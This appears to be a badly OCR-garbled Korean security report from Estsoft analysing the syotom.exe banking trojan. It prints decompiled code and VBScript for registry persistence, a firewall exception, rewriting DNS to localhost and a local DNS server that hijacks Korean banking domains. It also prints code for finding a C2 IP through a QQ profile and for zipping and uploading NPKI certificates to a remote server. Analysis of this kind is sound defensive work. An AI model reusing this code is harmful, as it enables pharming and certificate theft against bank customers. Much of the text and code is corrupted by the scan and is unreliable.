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oI E E4(syotom.exe)

-NSNYANAE SR U TRISA

Lo Ry T

|20| [ 4R 2= CRIER|2 syotom.exest= 0|20 2

lpszStringUar? = CompareString(lpszStringUari, "syotom.exe™) t= 8;// I} 0|=Z0| syotom.exe?lx| =2
if { lpszStringVar1 )
Dummy{lpszStringlari);

if { 1lpszStringUar? ) /7 MY 0/20| syotom.exe?t O AR
1

lpszStringUari = sub 4817AD() ;

lpszStringUar? = sub 48BB708(2, 1, 8, 0x80800361u, 2);

v = Bub;

CopyFilen @{lpszStringUVari, LODWORD(lpCmdLine}), lpszStringUar2);/f syotom.exect= 0222 FIEF CEEZIZ DA
if ( uB *= BuS )
j_ErrorBox{vd, 6);
if { 1lpszStringVar1 )
Dummy (1pszStringlar1);
vi = LODWORD{1lpCmdLine);
if { *LODWORD{lpCmdLine} )
Ul = &GMHame;

SetRegistry( fiOATIEZ O =5

Bx8008083201u,

“SOF TUAREWYHHicrosof tWindowsttiCurrentUersiontRuntttsyotom™,

a8,

Bx80000804u,

*Hul,

HxB8H800884u ) ;
lpszitringUar1 = &u5;
WinExec @(LODWORD(1pCmdLine), 1); fHES CEE2|H SAEHE syotom.exe &H
if { lpszStringVar1 ¥= &5 )

j_ErrorBox{vd, 6);

[23 1] TR 0] 80| syotom.exeQIX] At

Orf2] HIX|AER| =0 syotom Ol2t= 0I5 2= S=0| &|H 2=R7F APAE Mo HESF =7 AS2 = A0] FHO,

&' dAAED HED =10| x|
o) BEE) B sAFNA SsE(H)
| E] CI CurrentVersion -| |01 8 CIOIE
@2 App Management ab) (2122 REG_SZ (Zh &3 o=
= App Paths ab] IMJPMIGS, 1 REG_5Z "CWWINDOWSWIME¥imjpe_TWIMJPMIG,EXE..,
#-(J Applets [ab] PHIME 20024 REG_SZ CWWINDOWSWsystem32WIMEW TINTLGNTY. .
-~ BITS ~I | [ab)PHIME20024S,., REG_SZ CHHWINDOWS sy stem32HIMEW TINTLGNTHY...
E{:] Control Panel isyotom REG_5Z CHWINDOWSWsyotom, exe
=0 Controls Folder ab]Mware Tools  REG.SZ "C:WProgram Files#YMwaretyMware Tools,..
_| B ESIEISE’“'"QE‘ _|;| [a8)WMware User .., REG_SZ "CitProgram FilesWMwarewVMware Tools...
4 »
LH & FEIWHKEY_LOCAL_MACHINEWSOF TWAREWMicrosoftWWindowsWCurrentVersion¥Run 7

(23 2) A% B2 S=E oyIC

S HOR OPYTCT} Y =AU HXIAER| SEE SHe LIS HRish =R OfeHet 2t
NI BAElE E2 Al o2 73 XA ED] A2
=2 AZWsyotom.exe [ag]
HKEY LOCAL_MACHINE\Software\Microsft\Windows\CurrentVersion\Run
[Z]
syotom = [HE=2 HZ]\syotom.exe
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= S Y| HoliM FEIAS ALESIE 2N = BI0| AkEoh= &E2! ERROR_ALREADY_EXISTS %= A= ob= 0| Ofd,
WaitForSingleObject2] #t210| WAIT_TIMEOUTO|™ T2 738 ZF 2 0|0§ZICE, 0|740] 7ks8t 0|1F= £[=0 "“Eﬁc'iﬂ oS3}
FEIAE MM Z0f| WaitForSingleObjectE SallA] &S HEI“:' 0|27 H 23itl= g3 == CreateMutex2| £Hz{0] 0]0] AMS0i|
MMl & FEIAC| SHSS BHA| k)11, 0|74 0]0] |0 &5 F AEf0|7| M2 WaitForSingleObjectdlA WAIT_TIMEOUTS 2|EISt
o= S0l Si= A0t W=pA] 00| A&l SO|=fal 22t 5= E,-!EI.

u3 = CreateMutexA{lpMutexAttributes, 1, *a1); /7 syotomD|2}= 0|ELC FYA MM
if {( v7 *= &uS )

v3 = j_ErrorBox{(uvi, 6);
hHandle = v3;
vy = &u5;
v = WaitForSingleObjectFunc(v3, 108); 7 Wait A&
ifF  v7 = &US )

vh = j_ErrorBox(uvi, 6);
ub = uh;
if ( vi4 == WAIT TIMEOUT ) // TimeoutDd| 2|ETH ==
{

vi = &U5;

ReleaseMutex{hHandle);

if ( v7? = &US )

j_ErrorBox{vi, 6);

vi = &uS;

CloseHandleFunc{hHandle});

if ( v7 = &uS )

j_ErrorBox{vi, 6);
(ExitProcess_0){v1); I =

(28 3] SE4HS YXBH= 2E
- IHY =1 (A= 2ieiy 23))
IP'I Irtl% BIotHO| Of|2] S0 =72 M W2HS OishA] HoE21 SE0] 7tsol=S 2Lt Ofdl= =S

Q| 20| Xp7| XIS F716P | YoM RisdH= B20]C} INetFwServices COM QIEJHO|A S AFRSICE

nﬂl'

CreateCOMObject(3, vi11, @, 6558%, “HMetCfg.FwHMgr', O, 0x80000084%u, B, 0, 0);// T 2P CIE{HI0|~ AFE EH|
v3 = sub_4BC9BB(vH, 3, vi1, B, 65584, "LocalPolicy'", 0, O8x800008084u, 0);
sub_48c990(1, vii);
Dummy{uvi1);
v11 = v3;
vl = sub_4B8C9BB(vAH, 3, vi, B8, 65584, "CurrentProfile™, 8, 0x80000884u, 0);
sub_4BC998(1, uii);
Dummy{uvi1);
vi1 = v
CreateCOMObject(3, vi16, 8, 65584, "HHetCfg.FwAuthorizedApplication"™, 0, 6x80000804u, B8, 8, B8);// 02 =
SetObject(3, vi10, 8, 65584, "Hame*, 0, B8x80000084u, "'Sevsl™);// SEZF £ (0|2
SetObject(3, vi0, @, 65584, "IPUersion™, O, 0x80000004u, 2);// IP H[
ws = sub 4017ADC() ;
ue = yL3
if { s )
U5 = &Name;
SetDbject(3, viB, 08, 65584, "ProcessImageFileName'', 0, 0x80000004u, vs);// =S=T Tz 4=
if ( v9? )
Dummy{u9);
SetObject(23, vi10, @, 65584, "RemoteAddresses™, @, 0x80000004u, "=");// =4
SetObject({3, vio, @, 65584, "Scope', 0, 0x80000004%u, 0);// Z7F
SetObject(3, via, @8, 65584, “Enabled™, 8, 0x80000004%u, 1);// = =43 HE
v6 = sub_4OC9BB{vO, 3, vii1, O, 65584, "AuthorizedApplications™, O, Ox80000004u, 8);
sub_48C9908(1, vii);
Dummy(ui1);
Uil = vb;
ObjectAddcode(3, va, B8, 65584, "Add™, 8, Bx8P8008864u, &uvi10);// = £D}

[13 4] B2 Y3 o2 E8 F7I5l= 8
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ZIH2 = Ofefiet 20| B2t 02 20| 7t £J] AdT == O Biof| 80| SEE &+ UL

—

L= 188 S8 MH| &P
e B
WS AH

OoE & Z2H =5

W] Chrome

Interactive Disassembler {32-bit)
Interactive Disassembler (G4-bit)

.Sevsl
x
QIEE BE= MEAMUEHIY OHE BFH & 2= ARERH 0 2=
22 EHE HEF & SIsLIC -y
01 &]5evsl

z22: [CWWINDOWSWsyotorm, exe B

[13 5] H=2 Wt o2 E0| FI1E 25

- OfY 2 (HIEFS OBIE| DNSF 4 BHE)

(
M IES HE S HIEFS OEES| DNSA{H 285 HETI. 0|F floliA MSScriptControl COM QIEIHO|A S E2{2kA ALEZSH|
Ct.

o

il

[ .-

CreateCOMObject(3, hObj, O, 65584, "HMSScriptControl.ScriptControl*, 8, O0x800000084u, 6, 0, 0);
SetObject(3, hobj, O, 65584, “Language', O, 0x800008004u, "UBScript");
ppvbData = "awekhsqg";
initiativelowa = "596257DD93F30956AB57A29F3A99" ;
v9 = DecodeString(&initiativelowa, &ppuData);
if {( initiativelowa )
Dummy{initiativelowa);
if { ppvData )
Dummy{ppuvbData);
8 = "LADSBL4CETF3BOELAPESASICHF13//FEE/796C36348CE8E8IACEBOLDOBFIA/E028BAS /OCCD2CFBE2BFC7 711ES BB 7,

[33 6] VBAIZEES O|231M DNSFA HES MEdh= 28

9| TRIOJA VAL 4S5} B BXIARS 712171 UG Y BES 255} 544 T Visual Basic ATRE AT} LIEHA| £
A2 Of2H2t 2L,

Function DomaiNameSytem()
Const T_-NEWDMNST ="127.0.0,17 'DNS1)
Const T_-NEWDNSZ =78,8,8.8" DNSZ
strwinMart="winmgrts {impersonationLevel=impersonate}”
Set NICS = GetObject( str'WinhMgrnt
LInstancesOf"Win32_NetworkAdapterConfiguration™)
For Each NIC In NICS
If MIC.IPEnabled Then

NIC, SetDN5ServerSearchOrder Array(T_NEWDNS1, T_NEWDNSZ)
Endlf

Mext
End Function,

[T 7] 85 ARZQ HEYT HHUE 2 DNSEAES HASH= Visual Basic ATYE

ESTsoft '?él } =2F EJ-'H copyright by Estsoft Corp.All rights reserved,
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7= DNSAHQ| FAE 1270012 A5t HX DNSAHL| FAE
—=2(Google)2| DNSAH =A0|Ct, 7|2 DNSFTAE

A0l F==ol = 4 U,

FAE 88882 HHIC

= 3 L—

0l

VBAIEE & 0|=0ll= Ofeli2t 20] DNSF4 FE 7 HEE.

T 4= O

=EZ(TCP/IP) SE 8H

SE X | 2|

I"fﬁ 'E 5?;%1521 B e AT A Sae P A5%
—! == E

O AESR P 4 BI(0)
— [I5 P X4 AFE(S):
IP ZA(]):

ABE Or230U):
12 HOIEAOID):

C AI=SE DNS MH T4 EH[(B)

— ¢« [IS DNS MH 4 AHE(E):
JI2 43 DNS MH(P): 27, 0 , 0 , |
X DNS MH(A): 5 .8 .8 ., 8

[ 8] DNSMH F47F HAE 25

- I} ZHA (DNS7HA| =7 |8D)
A AR EXH5H= DNSFHA| HEE =
O| 5K Q= =XH0| ErABSHA] IHIO| M|CHE 0|2 K|X| Q42 7

SFA0|

st=21 DnsFlushResolverCache Win32 APIE AIESIC}

UBScript_ModifyDHNSAddress();
lpszStringUar1 = &u5;

DnsFlushResolverCache(); /7 DNS3HAl =2zt

[18 9] DNSFHAIE £7|3t 8l &2

ESEDNSZHAIE F7|HC = 1020t =7 |3 A |77 | oA EfO|H 2 A|KE O]

25l=54d
ek

L

&

L 127.0.0.12 localhost0| 1 8.8.8. 8%
FAE localhostZ 2 A2 2 HiA ZHPCO|A] DNSAHL]

7|2t Bt DNSFHA| EE =7 |2t o= O, 010] EXlok= DNSFHAIZ QoA AP}
e /ts-dS 0|80 LXISH | FIoHACE DNSTHA| =7 |2k= EAi=t T X| 242

SetTimer{B8, 1u, 600008u

j_ErrorBox{vi, 6);

winProc (); ff FEifeT EHM A

J

M B
=

=
T

Al

=l

=

, FlushDNS_TimerFunction);// El0|H =2 Al M|/ DnsFlushResolverCache T =
if { lpszStringVar1 %= &u5 )

[ 10] DNSFHAIL] F=71XQ1 27|38 YTt EIO|H ZEAME EHEM = F&

ESTSﬂft '?él b= %EJ_J\" copyright by Estsoft Corp.All rights reserved.
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- I}y 2Q} (QQ BEIE 0123 1Y W &S)
SAXAs I S40| 2R EEE AE3E LR T +X] 211 QQ =101 50t = Fl, HIZE0A 01 Rot= AES
LERRACE. O floiA Ri= =t oliE QQ =1 AEAL IDE dZE LR ef o F=U2H, 0|2 ==t oliM 742 7 slig == 10]
TS AT

qgq uin = “3E99D999586059158C29"; // Q0 Blog User ID : 2934318127

00 vin = DecodeString{(&qq uin, &u8);

[18 11] QQ B2 ALEAL D7 YE3 E HEl= 0 U= 2&

£33} # QQ =21 AIEAL D= 2934318127 0|12, 0] IDE Blog URLZL Z8fslA] siLte] URLS TH=0{ Wit 12|17 sHE URL
ZEE| H|0|EE 2iok2 §H nicknameO|2t= 2AIES MHAISIHTE Of2i= 00| sHE /= S20|Ct

HIDWORD(u14) = sub 48187B(2, "http://v.qzone.qq.con/cgi-binfuser/cgi_personal card?uin=");
LODWORD{vi14) = SMLHTTPFunc({&uii + 4);
if ( HIDWORD(u14) )
Dunmy (HIDWORD (u14)) ;
if ( v17 )
Dummy{u17);
i1/ = LODWORD{vi4);
U2 = LODWORD(u14);
if {( *LODWORD({u14) )
vZ2 = &GName;
u16 = StringParser(4, v2?, O, 0x80008004u, "nicknamed :#'", 0, 0x80000004u, 0, 0, 0x80000301u, 0);

»

[2& 12] E222E HI0|EE 2N § nickname0|2ts EAIEE IHYEH= 2

o

= E&5S Alol= URLYL olfe URLESFE HHZ O|0[E{E LIEH 20|t HJ0[E2Q] nickname 2= ATHEM P
Z=A(114.181.150.158)7 3 Q=0| 0|Z40| DU A2 El= IPFEAO|CE &, nickname 2AIESE IHASHE 212 T ALZE P
FAE MG = SX012t ] = 4= ULt

T AM=5H= URL URLZFE 20j= CI0E

hxxp://rgzone.qq.com/cgi- _Cal I back(

bin/user/cgi_personal_card? t q; "32 o %343] e,

Uin=2934318127 "intimacyScore” :0,

"nickname”™:"114.181 .18, 153",

“realname” i

“smartname” ",

“friendship”:0C,

"isFriend”:0,

"bitmap” 2 "0E008E002000101",

"avatarUrl” "http://qlogod. store. qq.com/qzone /2934318127/293431 81 27 /100" ) ;
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— IF 2 (DNSAJH 270 4 2 DNSHA|X] o441t )

UDP 53H 4715 ottt 53 ZE= DNSAH|AL| ILE S0}, A DNSAMH 7= F4Z localhostE HEok= A?7tH AUAR=H
A O

= OhyTE AAZ T} DNSHIAKIS SHAI5HS DNSAHS| HEHS 485H= HORET & 4 ULk

signed int
{

SOCKET v1; // esi@1

struct sockaddr name; // [sp+4h] [bp-16h]@E1

__cdecl CreateSocket{u short hostshort)

dword_42958C = sub_411918();

vl = socket_B(2, 2, 8);

name.sa family = 2;

®*&name .sa_data[é6] =

*Gname .sa_data[18] =

*Hname .sa_data[2] = htonl_8({8);

*Gname .sa_data[ 0] = htons_B{(hostshort});
return bind O{v1, &name, 16) < 8 7 8 : v1;

[23 13] 538 ZEQ| 27§ Wdsi= F&

AFZAPZ}IEH 20l URLE RiEoll S

oA &l

Of2H= DNSHIAIX|E K0t Q1= ZEIS LIERH Z0]C}

T, URLS| A= #oliA DNSAH = QFS BUA| EC}. 20| DNSAH 4=

0]0] 2+ =0l 2loiA] localhost= BHHOIA U= SEH0]7| THEH 2T =7 DNSHIAXIE ROM XMelst= SEWZt &= Z0]C

if ( select_O(u6, v7, u8, uv9, ulB) >= 0 )
{
if ( USAFDIsSet(s,
{
result = recufrom_B(s,
if {( result <= 0 )
result = OxXFFFFFFFCu;

aeadfds) )

buf, len, @8, from, &Fromlen);

H
else

{
result = BXFFFFFFFDu;
b
b

else

{
result = OxFFFFFFFFu;

b

return result;

[ 14] ALEAZE 2735 DNSHIAIXIZE Loopback22 210t 2= 28

S 292 AFH eH30|2H Of=iet 20| AESAR L URLE &i=lolH

FAE 2 FL)
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URL 9|2

>
————

IPZ=A4 Bt

L

1
8
=
-
[
I
I
s
e
e
&
r

s

£

[1& 15] A4=E2I PC2F DNSMEH S| HA T

rtot

T72L} 0] QAT S0 ZIHE[H QHTSE PCO| DNSZAS

0|,

i3 O

[3E 16] AET =0 ZHE PC2A DNSAH 22| 24H =

A17| KHAIO 2 HHH2| 11, QT =

¥

g

ONT = LiEI0|= Of2f2} 20| HH0L2 DNSHIAIXIS SHA15HS SLE0]

if ( t*strcmp(uiB, 0001") )
{
if { vu7 )
Dummy(ui7);
ul? Bx419FD7u;

3
if { tstrcmp{vi4?, "006F") )

{
if ( w47 )
Dummy{uvi7);
w7 = MX;
b
if ( t*strcmp(ui4?, *'0005") )
{
if { via7 )
Dummy(vis);
uhf = “"CHAME";

}

[22 17] DNSHIAIXIS SHAI3Hs REIQ| Y&

NI == AEAP | 27T DNSHIA|X|S ROF2EA HIAIX] ofl4 = =3otH, oilAlS 2ol LIH
2t $iAlO 2 X[EHEIC), Of2= A3 =7} 0L DNSHIAIX|S 2oLt

dEE PCXAZE DNSME 7} ==

OFA

1y

BA1BAEFE (43 38 31 38|38 31 39 38|38 38 38 31 |38 38 38 38 |C01801808801800808
PAA1BAFGAS |30 30 30 30 (30 38 30 38|30 43 37 33|36 31 36 36 |0000AAROBBC?36166
BA1BAF18 |36 35 36 32|37 32 36 46|37 37 37 33|36 39 36 45 | 6562726F7773696E
WA1BAF28 |36 37 308 36 (36 37 36 46|36 46 36 37|36 43 36 35 |6706676F6F676C65
HA1BAF38 |38 33 36 33|36 46 36 44|38 38 38 38|38 31 38 38 |683636F6DBBBAA10A
WA1BAF48 |38 31 60 0P (B0 B0 VO B0 |13 B0 6C PO |00 VO B0 BB |P1...... ennanns

[23 18] LI A =115 DNSHIAIX]

219} 22 SEHo| DNSHIAIXIS SHAIHT LIZ1 OfHot 22 #Al0 2 RStelrt

ASCII "CAL@"A"safebrowsing“google“com"

[ 19] DNSHIA|IX] 3{4& OHX|L2 X|#HE 21}

ESTSﬂﬂ' Eél:ﬂ%ﬁ:fEﬂkl copyright by Estsoft Corp.All rights reserved.

FC HRXP Q|2 FolaH

d=

—1

o
—_



Part2 82| 2MEIE O

ID"DNSType URL"URLURL

ID : 2157 ID&EL
DNSType : A, CNAME, MX
URL : QI3 4

ZIHO 2 ARBAIREE| HLE DNSHAIKIR SMTE XM A 2, 12|70 FXHE DNSSE HAIKIS Z2IsH=R ofaHet 2ect

DNSSES H4 [ 0| PRAS B HE0| TXIE PRAS HLIA D}0| O|20X|EE Sict

= diole

AEXT QF DNSHIA X 2985 0100 0001 0000 0000 0000 03 7A756D 03 636F6D 00 0001 0001

OMMTAC XfH| SHA Za} 2985"A"zum”*com

L= DNSSH 2985 8400 0001 0001 0000 0000 03 7A756D 03 636F6D 00 0001 0001 C 00C 0001 0001 0O00000A
0004 72B5969E5B19

AFEXIZSIE] Q3 HH DNSHAIX] 01 Of2 URLOH SHEI5HE DNSSHA Zi}S $sHA LIUAIOIE ZTHE L= LA SICt OfH URL
222 ohYAC LK) 55} E HENZ KA/ QUCH

shinhan.com www.busanbank.co.kr www.kfcc.cokr www.kjbnak.com
banking.shinhan.com hrdcenter.busanbank.co.kr kfcc.co.kr www.kbd.co.kr
bizbank.shinhan.com www.dgb.co.kr ibs kfcc.co.kr WWW.C—U.co.Kr
open.shinhan.com banking.dgb.co.kr www.pjkfec.cokr www.epestbnak.go.kr
www kbstar.com blog.dgb.co.kr www.secbank.co.kr daum.net

kbstar.com www.knbank.co.kr www.standardchartered.co.kr www.daum.net
obank.kbstar.com kibs knbank.co kr SC.CO.Kr hanmail.net
ehrd.kbstar.com www.knbeasy.com ib.scfirstbank.com www.hanmail.net
withkb.kbstar.com www.suhyup-bank.com www.citibank.co.kr nate.com
www.nonghyup.com www.suhyup.co.kr ctbank.co.kr www.nate.com
nonghyup.com biz.suhyup-bank.com www.citicard.co.kr zum.com
banking.nonghyup.com www.kjbank.com koreacitidirect.citigroup.com WWW,ZUMm,com
nonghyup.chzero.com smile.kjbank.com www.kfce.co.kr www.kbster.com
with.nonghyup.com www.kdb.co.kr www,standradchatered.co.kr www.nonghuyp.com
consulting.nonghyup.com direct.kdb.co.kr www.citibnak.co.kr www.lbk.co.kr
www.ibk.co.kr WWW.CU.Co.Kr www.busanbnak.co.kr www.Kab.co Kr
ibk.cokr bank.cu.co.kr www.bgd.co.kr www.wooribnak.com
mybank.ibk.co.kr epostbank.go.kr www.knbnak.co.kr www.hanabnak.com
kiup.ibk.co.kr www.epostbank.go.kr www,suhuyp.co.kr WWW.Woorimuseum.com
open.ibk.co.kr epostbank.co kr keb.co.kr www.kebinet.com
www.ibkjob.co.kr www.epostbank.co.kr online.keb.co.kr www.woaoribank.com
www.keb.co.kr www.naver.com ebank.keb.co.kr wooribank.com
hanabank.com naver,com www.hanabank.com spib.wooribank.com
hanabank.chzero.com www.wooribankchina.com wfc.wooribank.com pr.hanabank.com
open.hanabank.com
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2O = MNEAPHEDE S M2z XEeH BAMOIES WEsP =T, XIZo MIEE 71t EAIES EA| =t

HE 7 B2 XAIN £ AR w4 S8 EEYN K- B3 5 4 ¥R | @ D20 G2

MNAVER L i e | il

O0ls i IPE2F on
S=U et H= 0 ¢ ' 2/ 7H=0] = (e
= = =
2500t Si010] B11 USLiCt o
FT
n - =| = & = A
HotatH QISEXE st AsHCLL
®EMR A HYZ W 42 5 20F 05.23.(=) | TVAZ»
Eﬂ}lﬂ!g_iﬁ.é;ri_ = T’CC’ii ":l—'!il E;iﬂu_ﬁ? BAl 72 | MBC w2023
s s St ol 2 St Es 2 | 20 2Ry H5
O =2 nl2=E L O ) T SRR e W
227I=S 0IES0IM7t_? ', TE|F|E 2EFY WME} o
X BHEEHES ARCE UEM U NS HokS ASsid0p Ly, [430.97 ¥ 32.33 A
QB 0|2 TWAME OlHHE S ETFIMM 28 ATITHE 173 (<[>
Gl SR 7| HIZILICH S crar
y———— ¥ BOFER QSRS Yol oSO IFHEH DEUWZIS g} STRIKER
AU || ofoliwa 0l SEH 27} UsLICH \ /i
ri::;., o = | ) ) I ) ) . El‘OI?‘I .
i iE w8 ¥ 0|SEHA DY E SHHS BUSIAIN HAUISERE THEI FH 2. r -
- _— —_— — ..". - —— e ." - r r K D n A‘]ﬂlq?;
- BEJEJ NH HWJHTUF '\-l-':.l.-.}!".x-
L ]
— -~ \-
o2 0Ly wm{_‘}i
QBEIHAE ZFT| 2l0| T E0| | 2ELHE B [
o REER - ﬂ 6 -
crop=m mast muol ugnoss G IBK?1228 KEBI 2Z2® () MG*"“'E'n Fl2E OME Mens
N - o':J == — —bras i 2oiE camal 20152
e T | i ) ar Ll R T = =

(23 20] Y 30| 0|201X 24

> ISAME QIR E EFol= 7Isk XL UCE 0| L2HEINPKI SIS A Z=2E EAMGIH, OHU0| EXfY B =S
FEAHOM HSdh= Y= 210[E22]Q] zipfldr.dIS O012dHA 2=t F 2F M= HZEE AESHT,
2SS ol7| ?loliM AE T =T} HAok= == Ot L.

= E}=
LRISME EF

rol

- A~ZE210|E = EXjfol= E210|E2] 2% £E NPKI =0
- Program Files O[5t2] NPKI &
- [NARIEZF0|E]\Users\[AF2AHAIE\ AddData\LocalLow\NPKI (Z1E=S H|AE} O|A0fTF =XH)

E2XP : [AARIE2E0|E]\Documents and Settings\[AF2XFAIE]\Local Settings\Temp\Hs_\Pf\NPKI
EH|AEL 0|4 : [A|ARIEZH0|E]\Users\[AEXAPAFE]\AppData\Local\Temp\Hs_\Pf\NPKI
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AT Ofehs ST ST} BOIISAME SEF BAS LIELD Uct

& NPKI |'

= [B)(X]
MHY(F) MEE) EI)(v) SHEI|A) TN S2ZH) o
Q5= © B P2+ pea &
Z (00 29 CtProgram FilesthPK] v 0s
A 02 - 37 B £EEE L}
m2 2 E0AE A W= Hasdasdasd,cer KB EOHIZ M 2014-08-28 2 |,
OF 01 = = H
) DI M =0 o v|-tE5t cer KB Eot2IEM 2014-08-23 =2H .,
& NPKI M=E3
IMY(F) ME(E) EI(V) SHEW EXD ZSUH) aw

@Tlg . O @ Z [ = =0 | [iTg)-

2005 CDocuments and SettingstvmxpWlocal SetingsW Termpitd41d8cd9300b 20429300998 c842 Te WP NPK] v al=
A QB = = | == SEHEF S

~ Elasdazdazd.cer KB ooy 2014-08-28 2H ..,
3 [E]test, cer KB HIZH2EM 2014-08-28 28 .,

mg 2 =0 2

3 HAH M E0 B

[O8 21] UM SRURSME Y BH= AR 2E

SIS MUS SH2E F I zipfldrdll 20]2212S AtSoliA ZIPEFEAIE RIS AlESI OIS

H-1=

SEH2Z AAH| S5 ZURUSK] 2APloll, S5 E0UX] = BRO0I= regsvr32E 0[Sl AL S5
A DI|:|-
Y N

u12 = sub_4BEGFB(2, 1, 0, O0x80000381u, “"Applicationsitzipfldr .dl1t¢HoOpenWith*);
if ( tvi2 )

{
vi3d = &Gvi1;
WinExec_O{''regsvr32 /s zipfldr.dll™, 8);
if ( vi3 = Bui1 )
j_ErrorBox{v2, 6);

[28 22] zipfldr.dll A|lAH 210|222|8 M8l 7]
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Zipfldrdll@] A+ =HIE OFREH, Visual Basic 23EHEES +SAI7 SLURUSA TIUL] =S ALSICL Ofefl= 10| ArE%l= VB
ATEHES LEHH 20|,

Zip "C:\DOCUME-1\vmxp\LOCALS-1\Temp\Hs ", "C:\DOCUME--1\vmxp\LOCALS~1\Temp'\d4ldscdosfoeeb204e9500998ecfs427e.2z1p"
Sub Zip(Byval mySourceDir, ByVal myZipFile)
fso = CreateObject("Scripting.FileSystemObject ")
If fso.GetExtensionName(myZipFile) <> "zip" Then
Exit Sub
ElseIf fso.FolderExists(mySourceDir) Then
FType = "Folder"
ElseIf fso.FileExists(mySourceDir) Then
FType = "File"
FileName = fso.GetFileName(mySourceDir)
FolderPath = Left(mySourceDir, Len(mySourceDir) - Len(FileName))
Else
Exit Sub
End If

f = fso.CreateTextFile(myZipFile, True)
f.write "PK" & Chr(5) & Chr(6) & String(18, Chr(e))
f.Close()
objshell = CreateObject("Shell.Application")
Sselect Ftype
Case "Folder"
objSource = objShell.NameSpace(mySourceDir)
objFolderItem = objSource.Items()
Case "File "
objSource = objShell.NameSpace(FolderPath)
objFolderItem = objSource.ParseName(FileName)
End Select
objTarget = objShell.NameSpace(myZipFile)
intOptions = 256
objTarget.CopyHere(objFolderItem, intOptions)
Do WScript.Sleep 10600
Loop Until objTarget.Items.Count > @
End Sub

[a2 23] ¢=S0 AIEElE VB ATEE

VB""E[EJEG| EHO' %’Eﬂﬁ [}EHQ} ;Frzrgl TE’FT]D%H LH—?—[H' I—L.A.I“ -I 0| 7|P QF= ]]_|.D|.[]| AHMEl[_t

Lo

SRR B ol s e S e = S R e T = =l

N2 - @ - F | O7u [ed |E-

A 0E - 3N &R

g 2 34 38 [E]HS_ 1}
: of

9 %FIJI[HI A E0 2HS

(13 24] SRUUSM IYS

o
2
J
ro
iy

ZORIZA TUC| ASS ATHCIH 22 MHZ HES AIT5P B0t Ofhs 217 MHEZ HAS AToHs REIS| YRS LiERH
,

40]C}.
vi8 = vu8;
vi7 = SetString(3, "http:/7/");
ui6 = "upload_filel1™;
vis = B8;
uily = B8;
vid = B;
vi2 = "POST
vil = B8;
vig = 8;
vy = B;
vt = UploadFunc(

[28 25] 2 MHE Y2EE A T8h= FHL YH

ES Ysoft E7F=SHE 1AM copyright by Estsoft Corp.All rights reserved.
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3.E=

O] 2T == OS] £=HO|RAH Winsock LSP, A E I #AX} OFH, EdF = AP| A1l0] 2Z0|A DNSAHZt =|0{A DNS
HIAIX] shAs £ol= CFE S/ Ity A-ET 0|,

ZEE[H UDP 53H ZET| JHHE 1 HEHT HHE{2| DNSAMH HEE 2ZIPFA(127.0.0.1)2 H78510] DNSEE 23 Al Loop-
back FEHE HEO| &|=F StC}, AFZAP| QIHUS SIHA URLS Y=ok =H 2T =7} SiE URLL| HHEE BHOfRA| DNSH|A|X|
ol &S 3ol =l AFEAPt 5ol At of= BAIOIEZ} SFAPL EHIC 2 o= |ALO|ECHH O|2] H[Zfel & 71 HAIER
HHO| === St

012{8t QaiC| AMHA T FLHME XSHOE SETLE|11 QT SAE MO X Qi0| AHMTE TZHA LHEUA 2E Z10]
O|F0X|7| 20, g0 HEZE FEZ S3t At HX[oP |7} 0K HEE 012 Z0|C,
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Part3. 22t 0|+ =57|

8O Ot 0l

:’;: SAPFAZRIC 7iIEE 2 S HE0 A 80| #EEH=E 8ol 0180l HEE 25 30002 Ols}=2] A=
FH0| =i, FUSEHSE HESIH TGS REEITH +HH2| MRS SAEIC, L3t /HIAEFEET 8] ZSEX| §42 13X12)2]
T QOO MU|ATZHEZ AR,

- HCATEE | HOHEE 5H
5, QHIZIRICIE (o] 4 BHAY|o| HIOHERTIZO0| 24 SEIQICE M2 OISl HOEZS MS7ICHES 2 T |0 MESPLL HER Sk
sole IXIoI0), 71 OFHNE BISP| Ash A8IIE0) RE MK MATIE YB3 510), 31U S 52 K| L AR Y87 | H2E 9|
ofoiiA] S HOILRE HIBHOF Btk

- 7IEA-PGAL 024 FIEHE S/ =8
=8P A S=3 HO|E, 22fH0| S48 SHE FHZEN| gdst Yors HHAINE, €5 PGAIIE 7IE#E, CVC, RE7[ZHS 0S8t
TAHENOl 2Rt ey 7IEEEE MEE &+ U= ot0 o2 F227F AR L U,

- HHE OTPEY £7
2REOIATYS M S OHHAES £O017| /5101 A2 FR2HI HANS OTPETIHOIS'S WESIUCE IS OTPR! 432! AZISLE
S35 ARG} AISI0] T HAOIR RES ISHERE QISSHE 7|S2 HOHO| FOILICE SHXIZt 7| OTPECHR 27(9t i 712 THZo|

FAFZ 872l B8 AESt AIZI0| 22 HOR OISt

- =238, CCAUS0A] 28It DT = HF O
JEESHIE SHSSE7PIEC0 2T Y57t =7 P2 H0|A D= at=tR 2 O[&E D, 0/0f =7t L0 HSEAE (CUS 71501 BEES

L S22 Hele X B2 840 354 UL

- ADEEE0 ADYRIC A 712 SXH
S LHE SSAP| HICHAME 226l |2 I Y2 E SAEl= L ADIEE0| AHZH| DisHE FSH= 201 XIEHsH=
OE=f710]430] 7|22 =2 =N, EFEE 38 S3AVIE SXI5H | ol XIS0[H| M =

- 2|23 S, YA TS o AR
| 2212 PHPAIAO0R0I] QISS 7[HIC 2 OFdT EE BIESH= MER FEe| SHATTEAM, 71E S =+2! 2|=31(Red Exploit I{it] MAH|O]
E0[010JI|Z! (CK VIP Exploit Kit) S| BIsH RESk= AHIE WES +E6P| 02 A E YRSULL 2|33ks KEsHEH, B2, XHIE
ZLHELZ H|0]E of{0F SiC,
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Microsoft 82 H7| HOI HH|O|E

- Internet Explorer 5% HOt 0|0 E(2977629)
Internet Explorer2| S7HE F2E 1713} HISHE B 0E FPH 3671 sAgtLCh 71 2lZtel

8 4 QUELICE FOFY 2180 433t 3

FE2FE 2 AFEAR T Internet Ex—
A= Sl ALEARL S2et

2T AAe

0| Ot AE|0|E
plorer® At5101 S451H ZA{E 2 HO|XIS & AS 27 T AHS 518
HFHS A2 4 UBLICH AJARIO] THEHALBRE FEH0| 2| TAIE A 1242 H2|Rt MO R Kiefsh= 0| HisH FEHS XA WLt

— NET Framework2| QX0 2 0I5t MH|A HE 2HIT(2990931)
0| £t HH|0|E= HIZ7HX S 2 B T1E Microsoft NET Framework2] £2F &t 71X|2 sHZAEILICE 0] £IUEO 2 Qls SR A%=0] E45HA|

AAE QS Haks U= NET 7(8H 8 A0 EE B A2 MH|A HET 2ME 4~ QlsLC X|EEZ= Microsoft Windows OIC40f| Microsoft
NET Framework” x| B ASPNET= 7282 2 AX|T|X| ESLUCH Of FUELe| deks oM 42 50 2 AX|6l! 0= [I1SO|

o—

